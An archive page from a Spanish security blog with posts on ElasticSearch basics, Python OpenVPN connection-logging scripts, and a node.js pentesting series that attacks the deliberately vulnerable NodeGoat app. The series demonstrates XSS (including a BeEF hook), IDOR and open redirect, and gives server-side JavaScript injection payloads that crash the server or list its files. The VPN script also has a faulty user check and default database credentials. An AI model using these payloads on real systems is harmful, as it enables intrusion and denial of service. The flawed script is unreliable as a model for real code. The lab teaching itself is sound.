Archivo

Archive for the ‘Programacion’ Category

Seguridad en ElasticSearch: Introducción – Parte I

agosto 23, 2019 Deja un comentario

ElasticSearch se ha convertido poco a poco en una solución muy utilizada para el procesamiento de grandes volúmenes de datos. Está pensado principalmente para que las búsquedas sean rápidas y altamente personalizables, un modelo perfecto para la implementación de soluciones basadas en Big Data. ElasticSearch (ES) es un producto que cuenta con una API Rest muy completa para gestionar los índices y documentos, además cuenta con un sistema de complementos que permite extender sus funcionalidades. A pesar de ser un producto que lleva en el mercado varios años y que se ha posicionado muy bien, la seguridad en las instancias de ES a día de hoy es un tema delicado y en muchas ocasiones no es tan sencillo de configurar. Las instancias de ES por defecto no tienen ningún mecanismo de protección a “miradas indiscretas” y la cosa empeora aún más cuando múltiples instancias de ES funcionan en modo “cluster”. No obstante, antes de empezar a explicar estás cuestiones es importante entender el funcionamiento de ES, un poco de historia y sus características principales. Ese será el objetivo de éste post.

ElasticSearch un motor de búsqueda orientado a documentos, basado en Apache Lucene. Mantenido por su desarrollador principal hasta la creación de Elasticsearch.com (http://elasticsearch.com/) en 2012. Actualmente se encuentra bajo desarrollo y mejora continua por dicha empresa, bajo licencia OpenSource Apache 2.

Sus características fundamentales son las siguientes:

  • Orientado a documentos: JSON’s, Basado en Apache Lucene.
  • No se utilizan esquemas como en una base de datos relacional, de hecho, ES puede ser considerado como un motor de base de datos no relacional.
  • Distribuido: Escala dinámicamente y permite la integración de múltiples instancias. Los datos se encuentran replicados en cada nodo por medio de shards primarios y copias, evitando de esta forma la perdida de información en el caso de que un nodo se corrompa o exista un fallo en disco.
  • Multi-Tenant: Permite operar sobre múltiples índices a la vez
  • Centrado en API’s: Expone todas sus funcionalidades vía APIs REST
  • Búsquedas estructuradas y no estructuradas: Permite el uso de varios tipos de filtros, llegando a un nivel de granularidad en las búsquedas bastante preciso, pero también complejo.
  • Agregaciones / facetas: Permite la definición de características comunes en conjuntos de datos (documentos ES). Similar a las funciones de agregación disponibles en SQL estándar
  • Soportado por múltiples lenguajes de programación: Al tener una API Rest que permite la gestión de todas las características del sistema, es fácil crear clientes en prácticamente cualquier lenguaje de programación.
  • Elastic Search se compone de dos capas que se encuentran completamente desacopladas y tienen su propia gestión independiente:
    • Sistema distribuido: Implementa las funciones de gestión necesarias para los nodos de un cluster y el mantenimiento de sus datos. Los objetivos de esta capa se centran en el desempeño, la escalabilidad, alta disponibilidad y la tolerancia a fallos gracias al sistema de shards.
    • Motor de búsqueda: Proporciona las funcionalidades de indexación y búsqueda de documentos.

Una vez entendidas sus características principales, merece la pena mencionar la terminología básica para que luego sea más fácil de entender lo que se explicará en los próximos posts.

Cluster: Se trata de un conjunto de instancias de ES que comparten mismo nombre de cluster (propiedad cluster.name). No obstante, un cluster puede estar compuesto por un único nodo. Cuando se inicia una instancia de ES, si no se ha indicado las direcciones IP o hostnames correspondientes al conjunto de instancias “maestro”. También hay que tener en cuenta que cuando se inicia una instancia de ES por primera vez, si no se indica en la configuración la ubicación de los nodos master, es la propia instancia la que actuará como master en los próximos reinicios de la instancia, en tales casos es necesario volver a instalar y configurar la instancia desde cero tal como se verá en un próximo post.

NOTA: Al parecer en ES no creen en el lenguaje inclusivo ni son “100% feminist compliant” ya que usan términos como maestro y esclavo, espero que alguna/algune/alguni no se sienta ofendida/ofendide/ofendidi.

Nodo: Se refiere simplemente a una instancia de ES en ejecución.

Índices: Se trata de una colección de varios documentos (estructuras JSON), que no necesariamente tienen una estructura común. Comparable a los esquemas de una base de datos relacional.

Tipos: Colección de varios documentos de similar estructura. Comparable a tablas de bases de datos

Shard: Espacio de almacenamiento físico de cada uno de los documentos de un índice. También se le suele llamar “Shard Primario” para distinguir entre el “shard” principal y las replicas que se generan en otros nodos del cluster.

Replica: Copia de un shard que permite la replicación de la información. Gracias a este mecanismo ES cumple con los requisitos de alta disponibilidad y tolerancia a fallos. Por defecto, las replicas de un shard no se almacenan en el mismo nodo si hay un entorno de cluster.

Bien, teniendo claros estos términos y considerando que el objetivo de estos posts es que se puedan poner en práctica, lo primero es saber cómo instalar una instancia de ES, que tal como se podrá ver a continuación es bastante sencillo.

Instalación de ES

La instalación de una instancia de ES es un proceso muy simple y no requiere demasiado esfuerzo. Básicamente hay 3 alternativas: 1. instalarlo como servicio del sistema con los típicos gestores de paquetes en sistemas basados en Debian (apt-get) o RedHat (yum). 2. Utilizar una imagen de docker preparada o con Elastic Cloud (https://www.elastic.co/es/cloud/elasticsearch-service/signup). 3. Descargar el fichero tar.gz del sitio oficial, descomprimir y ejecutar el binario correspondiente (https://www.elastic.co/es/downloads/elasticsearch).

Cualquiera de las 3 alternativas es valida, no obstante, como ocurre con muchos otros productos de software que se pueden instalar desde código fuente (tercera opción), en mi opinión es mucho más cómodo, fácil de gestionar (no se instala un servicio systemd directamente en el SO), más fácil de configurar ya que todos los ficheros y binarios están en la misma ruta donde se ha descomprimido y lo mejor, se puede abrir el fichero de configuración ubicado en el directorio “config” y realizar los cambios que sean oportunos. En mi opinión, es mejor seguir la tercera alternativa para entender como funciona el sistema y luego plantarse incluirlo como un servicio en un entorno de producción.

Una vez descargado y descomprimido el fichero “tar.gz” basta con dirigirse al directorio “bin” y desde una terminal ejecutar el comando “elasticsearch”. Con esto, ya tenemos una instancia de ES con los valores de configuración por defecto y todo preparado para empezar a almacenar información.

Cuando se inicia una instancia de ES se podrán ver muchas trazas indicando que el nodo se encuentra levantado y como se verá un otro post, cada nodo puede estar en uno de tres posibles estados “RED”, “YELLOW”, “GREEN”. Los estados simplemente indican cómo se encuentran los shards para los índices que se han creado en la instancia. Por otro lado, también se puede ver que el servicio de ES por defecto se vincula únicamente a la interfaz de red local en el puerto 9200. Para comprobar que se encuentra correctamente instalado, basta simplemente con abrir un navegador web y lanzar una petición HTTP GET contra dicho puerto en local.

Partiendo de una instancia en ejecución, lo siguiente es comenzar a crear índices y comprobar el funcionamiento de ES. Partiendo de este conocimiento sobre el sistema, es posible comenzar a hablar de seguridad y tanto buenas como malas prácticas de configuración. Serán cosas que se verán en próximos posts.

Un saludo y Happy Hack.

Adastra.

Categorías:Hacking, Networking, Programacion, Services - Software, Web Applications Etiquetas: , , , ,

Monitorizar conexiones y desconexiones contra un servidor OpenVPN con Python.

agosto 10, 2019 Deja un comentario

Hola a todos. He vuelto. 🙂

Las próximas semanas tendré algo de tiempo libre y he decidido dedicarlo a este espacio, escribiré algunos artículos sobre seguridad que tengo pendientes desde hace mucho tiempo y que ahora, me dispongo a compartir con todos vosotros. Vamos a por uno sencillo primero!

Una de las características más interesantes que tiene OpenVPN es precisamente la posibilidad de ejecutar scripts ante determinados eventos, por ejemplo, es posible indicar en el fichero de configuración que se ejecute un programa determinado cuando un usuario se conecta o desconecta. Dicho programa puede ser un script escrito en Python, por ejemplo, que se encargará de recopilar la información de la conexión que ha establecido el cliente. Esto puede tener varios usos, entre los que se incluyen la monitorización de las conexiones de los usuarios, forzar a que los clientes se conecten únicamente desde ubicaciones concretas, limitar el número de conexiones con el mismo certificado o OVPN, etc. En resumen, permite un buen nivel de control sobre los usuarios y las conexiones realizadas contra el servidor. Ahora, esto cómo se hace?

Configuración de OpenVPN con “script-security”

La directiva de configuración “script-security” es precisamente la que permite la ejecución de scripts y otros programas externos desde el proceso en ejecución de OpenVPN. Sin embargo, está opción no está exenta de riesgos y problemas de seguridad potenciales, tal como se puede leer en la documentación oficial de OpenVPN:

“–script-security level [method]

This directive offers policy-level control over OpenVPN’s usage of external programs and scripts. Lower level values are more restrictive, higher values are more permissive. Settings for level:0 — Strictly no calling of external programs.
1 — (Default) Only call built-in executables such as ifconfig, ip, route, or netsh.
2 — Allow calling of built-in executables and user-defined scripts.
3 —Allow passwords to be passed to scripts via environmental variables (potentially unsafe).The method parameter indicates how OpenVPN should call external commands and scripts. Settings for method:

execve — (default) Use execve() function on Unix family OSes and CreateProcess() on Windows.
system —Use system() function (deprecated and less safe since the external program command line is subject to shell expansion).

The –script-security option was introduced in OpenVPN 2.1_rc9. For configuration file compatibility with previous OpenVPN versions, use: –script-security 3 system”

Evidentemente, si se utiliza ésta opción en el fichero de configuración o como argumento a la hora de levantar el servicio hay que tener en cuenta, como mínimo lo siguiente:

1. Si se establece el método “2”, sería recomendable eliminar los permisos de lectura y escritura en los scripts que se ejecutarán por medio de OpenVPN, ya que si un atacante consigue acceso local y dichos scripts permiten su edición por parte de usuarios con permisos bajos, existe la posibilidad de que elevar privilegios en el sistema.

2. Evitar usar el método “3” ya que se pueden producir fugas de información sensible a la hora de establecer credenciales en variables de entorno.

Es una opción de configuración con la que hay que tener cuidado, sin embargo cuando se siguen los criterios anteriores es posible utilizarla sin riesgo. Esta opción únicamente le indica a OpenVPN que desde el proceso se podrán lanzar scripts o comandos externos, sin embargo con esto no es suficiente para indicar cuáles serán dichos scripts y cómo se deben ejecutar. Para ello existen otras opciones de configuración en las que se especifican precisamente estos detalles, tales como “up”, “client-connect” o “client-disconnect”. Dichas opciones se pueden incluir en el fichero de configuración utilizado para levantar el proceso de OpenVPN, por ejemplo:

script-security 2
client-connect "/usr/bin/python /home/adastra/connection.py"
client-disconnect "/usr/bin/python /home/adastra/disconnection.py"

Tal como el nombre de la opción indica, estos scripts se van a ejecutar en el momento en el que un cliente se conecte o desconecte, lo que nos permite hacer cosas simples pero interesantes, como por ejemplo registrar en una base de datos los detalles relacionados con las conexiones de los usuarios (fecha, ubicación, duración de la conexión, etc.). Se trata de información que se almacena en el momento en el que el evento ocurre en forma de variables de entorno, por lo tanto, lo que se debe de hacer en estos scripts es simplemente leer el valor de dichas variables de entorno antes de que dejen de estar disponibles. El siguiente script en Python nos permite hacer precisamente esto, con muy pocas líneas y prácticamente ningún esfuerzo.

connection.py:

import posix,time;
with open('/tmp/conn.out','w') as fd:
    fd.write(posix.environ['trusted_ip'])
    fd.write(posix.environ['common_name'])

Con esto simplemente se escriben los valores de las variales “trusted_ip” y “common_name” en un fichero de texto en el directorio “/tmp”. Evidentemente existen otras variables de entorno que se pueden consultar, como por ejemplo la IP dentro de la VPN que se le ha asignado al cliente (ifconfig_pool_remote_ip).

No obstante, lo más normal es que esta información se almacene en una base de datos, para demostrar esto, el siguiente script se encargará del registro de las conexiones en una base de datos PostgreSQL, por lo tanto será necesario utilizar una librería como “psycopg2”.

import psycopg2
import posix
common_name = posix.environ['common_name']
trusted_ip = posix.environ['trusted_ip']


class Database():
	def __init__(self, dbName="database_openvpn", dbUser="postgres", dbServer="127.0.0.1", dbPort=5432, dbPass="postgres"):
		self.connection = psycopg2.connect("dbname='%s' user='%s' host='%s' port='%s'  password='%s'" %(dbName, dbUser, dbServer, dbPort, dbPass))
		self.cursor = self.connection.cursor()

	def execute(self, createInstruction, params=None):
		self.cursor.execute(createInstruction, params)
		self.connection.commit()
		id = self.cursor.fetchone()[0]
		return id

	def create(self, createInstruction, params=None):
		self.cursor.execute(createInstruction, params)
		self.connection.commit()

	def select(self, selectInstruction, params=None):
		self.cursor.execute(selectInstruction,params)
		return self.cursor.fetchall()

	def close(self):
		self.cursor.close()
		self.connection.close()

if __name__ == "__main__":
	db = None
	try:
		db = Database()
		db.create("CREATE TABLE IF NOT EXISTS user(id serial primary key, common_name varchar NOT NULL);")	
		db.create("CREATE TABLE IF NOT EXISTS addresses(id SERIAL PRIMARY KEY, address varchar(255) NOT NULL,user_id integer REFERENCES user(id));")
		db.create("CREATE TABLE IF NOT EXISTS connections(id SERIAL PRIMARY KEY, date_connection TIMESTAMP NOT NULL, date_disconnection TIMESTAMP, address_id integer REFERENCES addresses(id));")

		from datetime import datetime
		fechaActual = datetime.now()
		timeStampActual = psycopg2.Timestamp(fechaActual.year, fechaActual.month, fechaActual.day, fechaActual.hour, fechaActual.minute, fechaActual.second)
		with open('/tmp/trazas-connect','w') as fd:
			fd.write("Conexion de cliente %s desde %s \n" %(common_name, trusted_ip))
			users = db.select("select id from user where common_name = %s", (common_name,))
			userid = 0
			if len(users) < 0:
				fd.write("\nUsuario registrado previamente en la base de datos")
				userid = users[0][0]
				fd.write("\nIdentificador de usuario: %s " %(str(userid)))

			else:
				fd.write("\nUsuario NO registrado previamente en la base de datos")
				userid = db.execute("insert into user(common_name) values(%s) RETURNING id", (common_name,))
				fd.write("\nUsuario insertado en BD con identificador: %s" %(str(userid)))
				addressid = db.execute("insert into addresses(address, user_id) values(%s, %s) RETURNING id", (trusted_ip, userid,))
				fd.write("\nDirección insertada en BD con identificador: %s" %(str(addressid)))
				connid = db.execute("insert into connections(date_connection, address_id) values(%s, %s) RETURNING id", (timeStampActual, addressid,))
				fd.write("\nConexion insertada en BD con identificador: %s" %(str(connid)))
				fd.write("\nProceso de registro finalizado correctamente.")
				fd.write("\n-----------------------------------------\n\n")

	finally:
		if db is not None:
			db.close()

Este sería el script de registro, en donde se almacenan las conexiones de los usuarios y un par de detalles básicos. En este programa se verifica si el usuario se encuentra almacenado en base de datos y si está, no se procede a almacenar nada en la base de datos. El script en realidad es bastante simple, sin embargo tiene bastantes líneas de código, las cuales como se puede apreciar, en su mayoría sirven para depurar. El motivo de esto es que a día de hoy (o mejor, hasta donde llegan mis conocimientos en OpenVPN) no hay manera de depurar los programas externos que se lanzan desde el proceso de OpenVPN y si por lo que sea, dichos programas, como por ejemplo este script, lanza una excepción no controlada, el servidor rechazará la conexión con el cliente, este es otro de los motivos por los que hay que tener mucho cuidado a la hora de utilizar esta característica. Por ejemplo, suponiendo que la base de datos “database_openvpn” no se encuentre creada o que directamente el servicio de PostgreSQL se encuentre detenido, en tales casos el script lanzará una excepción y si no se controla adecuadamente, supondrá que ningún cliente se va a poder conectar a la VPN.
Ahora bien, si la opción “client-connect” permite indicar un script que se lanzará justo en el momento en el que un usuario se conecta, la opción “client-disconnect” hace lo mismo pero al reves, cuando el cliente envia la señal de cierre de conexión. Siguiendo la lógica del script anterior, el script de desconexión se encargará de realizar una operación DELETE/UPDATE sobre cada una de las tablas relacionadas. Este sería el contenido de dicho script:

import posix
import psycopg2

common_name = posix.environ['common_name']
trusted_ip  = posix.environ['trusted_ip']

class Database():
    def __init__(self, dbName="database_openvpn", dbUser="postgres", dbServer="127.0.0.1", dbPort=5432, dbPass="postgres"):
        self.connection = psycopg2.connect("dbname='%s' user='%s' host='%s' port='%s' password='%s'" %(dbName, dbUser, dbServer, dbPort, dbPass))
        self.cursor = self.connection.cursor()
        
    def execute(self, createInstruction, params=None):
        self.cursor.execute(createInstruction, params)
        self.connection.commit()

    def select(self, selectInstruction, params=None):
        self.cursor.execute(selectInstruction,params)
        return self.cursor.fetchall()

    def close(self):
        self.cursor.close()
        self.connection.close()
    
        
if __name__ == "__main__":
	db = None
	try:
		db = Database()
		from datetime import datetime
		fechaActual = datetime.now()
		timeStampActual = psycopg2.Timestamp(fechaActual.year, fechaActual.month, fechaActual.day, fechaActual.hour, fechaActual.minute, fechaActual.second)
		with open('/tmp/trazas-disconnect','w') as fd:			
			conn = db.select("select c.id from user u, addresses a, connections c where (u.id = a.user_id and c.address_id = a.id) and u.common_name = %s and a.address = %s and c.date_disconnection IS NULL", (common_name, trusted_ip,) )
			connid = 0
			fd.write("\nProceso de desconexion iniciado para el usuario %s " %(common_name))
			if len(conn) > 0:
				connid = conn[0][0]
				fd.write("\nIdentificador de conexion a actualizar %s " %(str(connid)))
				db.execute("UPDATE connections SET date_disconnection = %s where id = %s", (timeStampActual, connid,))
			fd.write("\nProceso de desconexion del usuario %s finalizado correctamente" %(common_name))
			fd.write("\n-----------------------------------------------\n\n")
	except:
		fd.write("\nSe ha producido una excepción\n")
	finally:
		if db is not None:
			db.close()

Con esto ya se tendría un sistema para la gestión de conexiones en VPN, algo que serviría para monitorizar la actividad del servidor y las conexiones/desconexiones que realizan los usuarios.
Eres libre de utilizar estos scripts y modificarlos a tu gusto para realizar pruebas o incluso para implementarlos en tu propio servicio de OpenVPN

Un saludo y Happy Hack.

Adastra.

Categorías:Hacking, Hacking Python, Networking, Programacion, Services - Software Etiquetas: , , , , ,

Seguridad informática en 50 días – YOUR hacker way

marzo 4, 2019 2 comentarios

logo_small

Hace un par de semanas participé por primera vez en la MorterueloCON y aunque mi visita fue muy rápida, la charla que iba a presentar era especialmente interesante por dos motivos: Era la primera vez que la daba y sin ser una charla 100% técnica, creo que era relevante y de interés para los asistentes del evento, en su gran mayoría gente joven que está en esa etapa de la vida en la que no tienen muy claro qué estudiar.
No iba a darles ánimos, ni palmaditas en la espalda, ni a darles “motivación” o decirles que tienen mucho talento o que para el 202X van a tener trabajo asegurado en la ciberseguridad porque se van a requerir millones y millones de expertos. No, es más, es probable que alguno de los asistentes después de ver la charla se lo piense dos veces antes de empezar una carrera como ingeniero informático o afines. Lo que les conte es mucho más cercano a la realidad y a lo que se van a enfrentar si deciden seguir este camino. En primer lugar, ser informático o “hacker” no es tan guay como lo pintan, requiere mucho esfuerzo y sacrificio, no es algo que se consigue de un día a otro y no, usar Metasploit o similares no te convierte en un hacker. En definitiva, ser hacker, NO ES LO QUE TE HAN VENDIDO. Nadie te garantiza que vas a tener un trabajo fijo altamente remunerado para el 202X por mucho que algunos se empeñen en repetirlo constantemente. En mi charla insistí bastante en dos cosas que considero fundamentales: Características personales y competencias básicas. Es probable que la informática no sea lo tuyo, a lo mejor después de un análisis personal determinas que te gusta más el derecho, la psicología, las matemáticas o la biología. Entiendo que algunos pensáis que estudiar informática es la mejor opción porque es lo que supuesta demanda el mercado (con lo que sea que signifique eso), pero en mi opinión, la mejor opción es aquello que REALMENTE TE LLAMA, aquello con lo que sientes más afinidad o se te da mejor y digo esto por una razón muy sencilla: Si se te da bien algo y eres bueno en tu profesión, podrás acceder a mejores oportunidades laborales sin abanadonar el enfoque de tu carrera profesional. Si eres bueno en algo, significa casi con total seguridad que has dedicado tiempo en perfeccionar tus habilidades y esto, amigo mio, no lo hace alguien que no siente pasión por su profesión, sea cual sea.
Ahora bien, en la charla me he centrado en proponer una serie de lecciones en modo autodidacta, en las cuales los asistentes tendrían una idea general de los conocimientos básicos que en mi opinión se deben adquirir para dedicarse a la seguridad informática. En las diapositivas indico cómo debe ser cada lección en cuanto a tópicos a estudiar, además incluyo una recopilación de recursos en Internet para cada lección como material de apoyo. Creo que con esto y un poco de dedicación, una persona tendrá una buena base de las cosas que deberá aprender o bien, para decidir con más información si la informática es lo que realmente le gusta o no.

Como lo prometido es deuda, a continuación dejo un enlace para que podáis descargar las diapositivas, espero que os sean útiles. Por último, agradecer a todos los integrantes de MorterueloCON por la invitación, espero volver nuevamente el año que viene y quedarme al menos un par de días.  🙂

HACKER WAY IN 50 LECCIONES

Un saludo y Happy Hack!
Adastra.

Categorías:Hacking, Networking, Programacion, Web Applications Etiquetas: , , ,

Pentesting contra aplicaciones en node.js – Parte 2.

julio 10, 2018 1 comentario

En el primer post publicado de ésta serie sobre pentesting contra aplicaciones en node.js simplemente se ha dado un repaso general de las principales vulnerabilidades que se pueden detectar y posteriormente explotar en aplicaciones web basadas en ésta tecnología, la mayoría de las cuales no se encuentran especificadas en el OWASP Top 10, por lo tanto hay que aplicar un enfoque un poco diferente a la hora de realizar un proceso de pentesting contra éste tipo de aplicaciones. No obstante, esto no significa que las vulnerabilidades descritas en el OWASP Top 10 no afecten a las aplicaciones desarrolladas con node.js, todo lo contrario, también son bastante frecuentes cuando se desarrolla una aplicación sin tener en cuenta la seguridad en el proceso de construcción.
En el post anterior también se han mencionado las principales diferencias entre el modelo “event-loop” que implementan las aplicaciones basadas en node.js y el modelo “thread per-request”, por lo tanto en éste post vamos a comenzar a ver ejemplos prácticos de las vulnerabilidades descritas en el primer articulo para que todo quede un poco más claro.

Entorno de pruebas con NodeGoat.

Antes de comenzar y ver ejemplos un poco más centrados en lo que viene a ser el pentesting contra aplicaciones con node.js, es mejor contar con un entorno de pruebas y qué mejor que una aplicación web vulnerable por diseño, por ese motivo a partir de éste punto se procede a explicar la instalación de NodeGoat y su posterior puesta en marcha. Como se verá a continuación es un procedimiento bastante sencillo, solamente es necesario configurar una conexión a una base de datos MongoDB y tener todas las dependencias instaladas en el directorio donde se encuentra la aplicación, algo que se puede conseguir fácilmente utilizando “npm”.

El proyecto se encuentra disponible en GitHub en la siguiente url: https://github.com/OWASP/NodeGoat y tal como se puede ver en el README, la instalación consiste principalmente en la instalación de una base de datos MongoDB (la cual puede encontrarse en un servicio en Internet como https://mlab.com/) y contar con todas las librerías y dependencias obligatorias. El procedimiento se encuentra bastante bien explicado en el repositorio, por lo tanto no tiene mucho sentido replicar lo mismo que aparece en el fichero de README del proyecto, basta simplemente con seguir cada uno de los pasos indicados y será posible tener una instancia de NodeGoat en ejecución, por otro lado, para aquellos que prefieran utilizar Docker, también existe una imagen que cuenta con todo lo necesario para tener el entorno preparado.
Una vez que todas las dependencias se encuentran instaladas y todo está debidamente configurado, se puede ejecutar el “server.js” para levantar el módulo de express que da acceso a la aplicación y desde un navegador web apuntar a la dirección local en el puerto “4000”.

 

 

Las credenciales de acceso a la aplicación se encuentran en el README del proyecto, se pueden usar las cuentas: admin/Admin_123, user1/User1_123 o user2/User2_123.

Utilizando cualquiera de las cuentas anteriores, se puede iniciar sesión en la aplicación.

Ahora que ya se cuenta con NodeGoat en ejecución, es posible comenzar a hacer pruebas contra la aplicación, empezando por las más sencillas para ir tomando confianza.

En la aplicación existen varias vulnerabilidades de inyección del tipo XSS, una de ellas se encuentra en el perfil del usuario, en donde es posible editar información básica del usuario que se encuentra autenticado. Dado que algunos de dichos campos no gestionan adecuadamente las entradas y no “escapan” caracteres que son potencialmente peligrosos, es fácil incluir un script que haga cualquier cosa, desde el típico “alert”, cargar un iframe o una de mis favoritas, cargar un hook de BeEF ubicado en un servicio oculto en TOR. Seguramente algunos os diréis, que es necesario que el cliente se encuentre también conectado a dicha red para poder acceder a las direcciones onion, algo que es parcialmente cierto, pero también existen servicios en Internet como por ejemplo “tor2web” que se encarga de servir cómo puente entre usuarios que navegan en la “clear web” sin utilizar TOR y los servicios que se encuentran alojados en la deep web.

Además de la sección de perfil del usuario, ubicado en el extremo superior derecho de la aplicación web, en la opción “memos” es posible escribir un mensaje que quedará almacenado en la base de datos y el cual, admite entre otras cosas, tags HTML que serán renderizadas directamente en el navegador web de cada uno de los usuarios que accedan a la página, lo que nuevamente da como resultado una vulnerabilidad del tipo XSS almacenado.

Otra vulnerabilidad que también es fácil de descubrir se encuentra en la sección “allocations”. La lógica de ésta página es sencilla, cada uno de los usuarios autenticados accede a sus propios “allocations” desde ésta pantalla, sin embargo, la aplicación recibe por parámetro el identificador de cada “allocation” y realiza una búsqueda directa contra la base de datos, sin verificar si el usuario que realiza la petición tiene permiso de acceder al elemento solicitado o dicho de otra manera, nos encontramos con una vulnerabilidad típica de “Insecure direct object reference”, definida en el OWASP Top 10, aunque con la versión más reciente del 2017 ahora tiene otro nombre, pero la filosofía y criticidad de éste tipo de vulnerabilidad sigue siendo la misma. En éste caso, simplemente basta con cambiar la url “/allocations/2” por “/allocations/CUALQUIERNUMERO” y comprobar que en el caso de que la base de datos devuelva resultados, cambia incluso la página de perfil, apareciendo los datos del usuario al que pertenece dicho “allocation”.

En la sección que pone “Learning Resources” hay un parámetro llamado “url” el cual recibe como argumento una url que es utilizada por la aplicación web para realizar una redirección, está es otra vulnerabilidad fácil de descubrir, dado que el parámetro puede ser modificado e incluir un dominio arbitrario, controlando de ésta forma la navegación del usuario. Otra vulnerabilidad que se encuentra definida en el OWASP Top10, aunque en está ocasión, en la versión del 2013: “Insecure Redirects”, vulnerabilidad que ya no se encuentra recogida en la versión actual de OWASP.

Hasta aquí se han visto las vulnerabilidades más sencillas en NodeGoat, sin embargo hay otras más interesantes y que están enfocadas a lo que viene a ser node.js, las cuales se han explicado a grandes rasgos en el artículo anterior. Comenzaremos con una vulnerabilidad de SSJI (Server Side Javascript Injection) la cual como se ha mencionado antes, puede producir la ejecución de código en el lado del servidor y dado su impacto y criticidad, es de las primeras cosas que se tienen que ver en una aplicación desarrollada en node.js. Concretamente, a la hora de realizar una auditoría de código en una aplicación con ésta tecnología, hay que buscar los siguientes patrones:

* Uso de la función “eval” recibiendo entradas por parte del usuario sin validar.

* Uso de la función “setInterval” recibiendo entradas por parte del usuario sin validar.

* Uso de la función “setTimeout” recibiendo entradas por parte del usuario sin validar.

* Creación de una función anónima en node.js partiendo de instrucciones recibidas por parte del usuario y sin validar.

En NodeGoat se encuentra la opción “Contributions” en el menú, la cual tiene tres cajas de texto que reciben valores numéricos cada una, correspondientes a un porcentaje de payroll. Si se ingresa un valor numérico no hay ningún problema, pero si se llega a ingresar una cadena de texto…

 

Esto simplemente significa que la función “eval” ha fallado en la validación del valor numérico, sin embargo, otra característica interesante de “eval” es que además de validar valores numéricos, también se encarga de la validación y ejecución de instrucciones Javascript. Esto significa, que conociendo la API de Node.js será posible incluir cualquier tipo de instrucción que permita la ejecución arbitraria de código. Unos ejemplos típicos podrían ser “process.exit()”, “while(1)” o incluso, incluir una reverse shell escrita en node.js, algo que se verá en el siguiente post.

Con una vulnerabilidad de SSJI, no solamente es posible producir una condición de denegación de servicio o crear una shell contra el sistema, también es posible, con muy pocas líneas de código, leer directorios y ficheros de forma arbitraria en el sistema de archivos. Simplemente incluyendo una instrucción como: “res.end(require(‘fs’).readdirSync(‘.’).toString())” se podrán ver los ficheros y directorios del directorio raíz de la aplicación web.

Hay muchas más cosas que probar en NodeGoat, las cuales se verán en las próximas entradas de ésta serie.

 

 

Un saludo y Happy Hack!
Adastra.

Categorías:Hacking, Programacion, Web Applications Etiquetas: , , , , , ,

Pentesting contra aplicaciones en node.js – Parte 1.

febrero 13, 2018 2 comentarios

En los últimos años nos encontramos con que las aplicaciones desarrolladas en node.js son cada vez más comunes en entornos empresariales y en Internet, lo que inicialmente se construyo como un prototipo para probar el funcionamiento de un modelo “event-loop” hoy en día se ha convertido en un lenguaje bastante popular que se ha hecho un hueco en el competitivo y controvertido mundo de las herramientas, lenguajes y plataformas para el desarrollo de aplicaciones. Node.js plantea una forma distinta de desarrollar plataformas web y por supuesto, también provee los medios necesarios para construir aquellos componentes de software que son comunes en otros lenguajes de programación, sin embargo, como cualquier otro lenguaje de programación, tiene sus limitaciones y en algunos casos es posible que no sea la mejor alternativa. Cuando queremos desarrollar algo, lo más importante y que nunca hay que perder de vista, es que las características funcionales de una aplicación pueden llevar más o menos tiempo dependiendo de cada lenguaje de programación y así como puede suponer más o menos esfuerzo, también es importante valorar el impacto de optar por un lenguaje de programación de cara al desempeño, la escalabilidad y por supuesto, la seguridad.

En este sentido y por lo que he podido ver cuando hablo con algunos desarrolladores de node.js que he conocido, estas premisas se olvidan completamente y se piensa que node.js “vale para todo”, aunque para ser justos, lo mismo me he encontrado con programadores de Java, Python, .Net, etc, etc, etc. Como diría Van Russom, cada lenguaje tiene su propio “Zen” y es importante conocerlo para saber si es la alternativa más adecuada para un problema concreto. Dicho esto, merece la pena recordar el modo de funcionamiento de node.js y el motivo por el cual es considerado un framework flexible, escalable y con buenos niveles de rendimiento, así como también, los motivos por los que no es una buena idea utilizarlo “para todo”.

Las principales características de Node.js son las siguientes:

– OpenSource, independiente de plataforma.

– Desarrollado sobre CJR v8 (Chrome JavaScript Runtime).

– Diseñado para ser rápido y escalable.

– Permite la ejecución de Javascript en el backend.

– El contexto de ejecución de CJR v8 es completamente diferente al contexto del navegador, dado que se ejecuta en el lado del servidor.

– Liviano y eficiente.

Por otro lado, utiliza un modelo de funcionamiento asíncrono basado en eventos y en la ejecución de funciones de “callback”. Se trata de un framework que ha sido pensado para ejecutar operaciones sobre un único hilo de ejecución, por este motivo nos encontramos con que el principal objetivo de node.js con su modelo “single-thread” es el de mejorar el desempeño y escalabilidad de aplicaciones web, ya no tenemos el modelo “one thread per requests” utilizado en las aplicaciones web tradicionales que se despliegan en servidores web como Apache, Ngnix, IIS, entre otros, estamos ante un modelo completamente distinto, enfocado al desarrollo de aplicaciones escalables, asíncronas y con un bajo consumo de recursos debido a que ahora, sobre el proceso servidor ya no se hace un “fork” para atender las peticiones de los clientes en procesos independientes, algo que es habitual en servidores web Apache.

Modelo “Event-loop model” vs “thread per requests”.

Un modelo “Event-Loop” es ideal para aplicaciones en donde la velocidad de respuesta de las peticiones es más importante que las operaciones I/O. p.e: Un proxy inverso/transparente. También, este modelo es remendable cuando se trata de aplicaciones web con un backend ligero, el cual realiza las operaciones de negocio de forma rápida y eficiente. Esto es importante ya que si el backend no cumple con este requerimiento se pueden producir cuellos de botella y afectar el rendimiento general de la aplicación. Un modelo “thread per requests” es más adecuado para procesamientos intensivos con con un número bajo de procesos concurrentes. p.e. Aplicaciones cuyas funciones realizan múltiples operaciones de negocio, conexiones a bases de datos u otros sistemas remotos, así como transacciones complejas que requieren tiempo de procesamiento. Dicho esto, dependiendo del tipo de aplicación un modelo puede ser más recomendable que el otro y en el caso de las aplicaciones node.js que utilizan el modelo “event-loop” es importante que el backend se encuentre lo más fino posible y que todas las operaciones de negocio se realicen de la forma más rápida posible. En el caso de aplicaciones desarrolladas con node.js es común encontrarnos con que es necesario desarrollar el componente “servidor”, típicamente utilizando el modulo “express” en entornos de desarrollo, además de la lógica propiamente dicha de la aplicación.

Dado que todo se ejecuta desde un único hilo de ejecución, la gestión inadecuada de excepciones puede interrumpir por completo el normal funcionamiento del servidor y por este motivo es recomendable tener rutinas de chequeo que se encarguen de verificar en todo momento el correcto funcionamiento del servidor y la disponibilidad del proceso en el sistema.
